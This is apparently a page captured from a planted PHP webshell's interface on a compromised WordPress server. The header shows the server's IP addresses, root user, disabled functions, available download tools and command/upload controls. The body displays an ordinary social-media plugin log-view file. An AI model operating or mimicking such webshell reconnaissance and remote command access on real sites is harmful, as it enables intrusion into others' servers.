403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/social-media-auto-publish/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/social-media-auto-publish/admin/logs.php
<?php 
if( !defined('ABSPATH') ){ exit();}
?>
<div >


	<form method="post" name="xyz_smap_logs_form">
		<fieldset
			style="width: 99%; border: 1px solid #F7F7F7; padding: 10px 0px;">
			


<div style="text-align: left;padding-left: 7px;"><h3>Auto Publish Logs</h3></div>
	<span>Last ten logs of each social media account</span>
		   <table class="widefat" style="width: 99%; margin: 0 auto; border-bottom:none;">
				<thead>
					<tr class="xyz_smap_log_tr">
						<th scope="col" width="1%">&nbsp;</th>
						<th scope="col" width="12%">Post Id</th>
						<th scope="col" width="12%">Post Title</th>
						<th scope="col" width="18%">Account type</th>
						<th scope="col" width="18%">Published On</th>
						<th scope="col" width="15%">Status</th>
					</tr>
				</thead>
				<?php 
				
				
				$post_fb_logsmain = get_option('xyz_smap_fbap_post_logs' );
				$post_tw_logsmain = get_option('xyz_smap_twap_post_logs' );
				$post_ln_logsmain = get_option('xyz_smap_lnap_post_logs' );
				
				
                                if(is_array($post_fb_logsmain))
                                {
                                $post_fb_logsmain_array = array();
				foreach ($post_fb_logsmain as $logkey1 => $logval1)
				{
					$post_fb_logsmain_array[]=$logval1;
				
				}
				
				
				
				
				
				if(is_array($post_fb_logsmain_array))
				{
					for($i=9;$i>=0;$i--)
					{
						if(array_key_exists($i,$post_fb_logsmain_array)){
						if($post_fb_logsmain_array[$i]!='')
							{
								$post_fb_logs=$post_fb_logsmain_array[$i];
						
								$postid=$post_fb_logs['postid'];
							    $acc_type=$post_fb_logs['acc_type'];
								$publishtime=$post_fb_logs['publishtime'];
								if($publishtime!="")
									$publishtime=xyz_smap_local_date_time('Y/m/d g:i:s A',$publishtime);
								$status=$post_fb_logs['status'];
							
							?>
							<tr>
							    <td>&nbsp;</td>
							    <td  style="vertical-align: middle !important;">
								<?php echo esc_html($postid);	?>
								</td>
								<td  style="vertical-align: middle !important;">
								<?php echo get_the_title($postid);	?>
								</td>
								
								<td  style="vertical-align: middle !important;">
								<?php echo esc_html($acc_type);?>
								</td>
								
								<td style="vertical-align: middle !important;">
								<?php echo esc_html($publishtime);?>
								</td>
								
								<td class='xyz_smap_td_custom' style="vertical-align: middle !important;">
								<?php
									if($status=="1"){
										echo "<span style=\"color:green\">Success</span>";
									}
									else if($status=="0")
										echo '';
										else
										{
											$arrval=unserialize($status);
											foreach ($arrval as $a=>$b)
												echo $b;
										}
								 ?>
								</td>
							</tr>
							<?php  
							}}
						}
					}
					
			           }

                    if(is_array($post_tw_logsmain))
                     {	
					$post_tw_logsmain_array = array();
					foreach ($post_tw_logsmain as $logkey2 => $logval2)
					{
						$post_tw_logsmain_array[]=$logval2;
					}
					
					if(is_array($post_tw_logsmain_array))
					{
						for($i=9;$i>=0;$i--)
						{
							if(array_key_exists($i,$post_tw_logsmain_array)){
							if($post_tw_logsmain_array[$i]!='')
							{
								$post_tw_logs=$post_tw_logsmain_array[$i];
								$postid=$post_tw_logs['postid'];
								$acc_type=$post_tw_logs['acc_type'];
								$publishtime=$post_tw_logs['publishtime'];
								if($publishtime!="")
									$publishtime=xyz_smap_local_date_time('Y/m/d g:i:s A',$publishtime);
								$status=$post_tw_logs['status'];
								?>
								<tr>
									<td>&nbsp;</td>
									 <td  style="vertical-align: middle !important;">
								     <?php echo esc_html($postid);	?>
								     </td>
									<td  style="vertical-align: middle !important;">
									<?php echo get_the_title($postid);	?>
									</td>
									
									<td  style="vertical-align: middle !important;">
									<?php echo esc_html($acc_type);?>
									</td>
									
									<td style="vertical-align: middle !important;">
									<?php echo esc_html($publishtime);?>
									</td>
									
									<td class='xyz_smap_td_custom' style="vertical-align: middle !important;">
									<?php
									
									
									if($status=="1")
									echo "<span style=\"color:green\">Success</span>";
									else if($status=="0")
									echo '';
									else
									{
									$arrval=unserialize($status);print_r($arrval);
									//foreach ($arrval as $a=>$b)
								//	echo $b;
									
									}
									
									?>
									</td>
								</tr>
								<?php  
							}}
						}
					}
                                     }

								
                                       if(is_array($post_ln_logsmain))
                                   {
					$post_ln_logsmain_array = array();
					foreach ($post_ln_logsmain as $logkey3 => $logval3)
					{
						$post_ln_logsmain_array[]=$logval3;
					
					}
					if(is_array($post_ln_logsmain_array))
					{
						for($i=9;$i>=0;$i--)
						{
							if(array_key_exists($i,$post_ln_logsmain_array)){
							if($post_ln_logsmain_array[$i]!='')
							{
								$post_ln_logs=$post_ln_logsmain_array[$i];		
								$postid=$post_ln_logs['postid'];
								$acc_type=$post_ln_logs['acc_type'];
								$publishtime=$post_ln_logs['publishtime'];
								if($publishtime!="")
									$publishtime=xyz_smap_local_date_time('Y/m/d g:i:s A',$publishtime);
								$status=$post_ln_logs['status'];
							
								?>
								<tr>
									<td>&nbsp;</td>
									 <td  style="vertical-align: middle !important;">
								     <?php echo esc_html($postid);	?>
								     </td>
									<td  style="vertical-align: middle !important;">
									<?php echo get_the_title($postid);	?>
									</td>
									
									<td  style="vertical-align: middle !important;">
									<?php echo esc_html($acc_type);?>
									</td>
									
									<td style="vertical-align: middle !important;">
									<?php echo esc_html($publishtime);?>
									</td>
									
									<td class='xyz_smap_td_custom' style="vertical-align: middle !important;">
									<?php
									
									
									if($status=="1")
									echo "<span style=\"color:green\">Success</span>";
									else if($status=="0")
									echo '';
									else
									{
									$arrval=unserialize($status);
									print_r($arrval);
									/*foreach ($arrval as $a=>$b)
									echo "<span style=\"color:red\">".$a." : ".$b."</span><br>";*/
									
									}
									
									?>
									</td>
								</tr>
								<?php  
							}}
						}
					}
                                     }

					if($post_fb_logsmain=="" && $post_tw_logsmain=="" && $post_ln_logsmain==""){?>
						<tr><td colspan="5" style="padding: 5px;">No logs Found</td></tr>
					<?php }?>
				
           </table>
			
		</fieldset>

	</form>

</div>
				

Youez - 2016 - github.com/yon3zu
LinuXploit